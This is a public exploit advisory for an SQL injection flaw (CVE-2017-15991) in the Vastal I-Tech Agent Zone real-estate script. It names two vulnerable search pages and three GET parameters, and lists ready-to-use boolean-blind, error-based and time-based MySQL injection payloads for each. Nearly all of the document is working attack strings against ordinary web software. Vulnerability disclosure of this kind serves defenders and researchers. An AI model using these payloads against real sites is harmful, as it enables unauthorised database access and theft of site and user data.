# # # # # # Exploit Title: Vastal I-Tech Agent Zone - SQL Injection# Dork: N/A# Date: 30.10.2017# Vendor Homepage: http://vastal.com/# Software http://vastal.com/agent-zone-real-estate-script.html# Demo: http://agentzone.vastal.com/demo/# Version: N/A# Category: Webapps# Tested on: WiN7_x64/KaLiLinuX_x64# CVE: CVE-2017-15991# # # # ## Exploit Author: Ihsan Sencan# Author Web: http://ihsan.net# Author Social: @ihsansencan# # # # ## Description:# The vulnerability allows an attacker to inject sql commands....# # Proof of Concept: # # http://localhost/[PATH]/searchCommercial.php?property_type=[SQL]&city=[SQL]&posted_by=[SQL]# # http://localhost/[PATH]/searchResidential.php?property_type=[SQL]&city=[SQL]&bedroom=[SQL]# # Parameter: city (GET)# Type: boolean-based blind# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)# Payload: property_type=&city=-5275 OR 1703=1703#&posted_by=# # Type: error-based# Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)# Payload: property_type=&city=-1769 OR 1 GROUP BY CONCAT(0x7171787671,(SELECT (CASE WHEN (2860=2860) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&posted_by=# # Type: AND/OR time-based blind# Title: MySQL >= 5.0.12 time-based blind - Parameter replace# Payload: property_type=&city=(CASE WHEN (9487=9487) THEN SLEEP(5) ELSE 9487 END)&posted_by=# # Parameter: posted_by (GET)# Type: boolean-based blind# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)# Payload: property_type=&city=&posted_by=-5550 OR 1335=1335## # Type: error-based# Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)# Payload: property_type=&city=&posted_by=-9423 OR 1 GROUP BY CONCAT(0x7171787671,(SELECT (CASE WHEN (4134=4134) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)## # Type: AND/OR time-based blind# Title: MySQL >= 5.0.12 time-based blind - Parameter replace# Payload: property_type=&city=&posted_by=(CASE WHEN (3754=3754) THEN SLEEP(5) ELSE 3754 END)# # Parameter: property_type (GET)# Type: boolean-based blind# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)# Payload: property_type=-8633 OR 6527=6527#&city=&posted_by=# # Type: error-based# Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)# Payload: property_type=-4342 OR 1 GROUP BY CONCAT(0x7171787671,(SELECT (CASE WHEN (3911=3911) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&city=&posted_by=# # Type: AND/OR time-based blind# Title: MySQL >= 5.0.12 time-based blind - Parameter replace# Payload: property_type=(CASE WHEN (2911=2911) THEN SLEEP(5) ELSE 2911 END)&city=&posted_by=# # Etc..# # # # #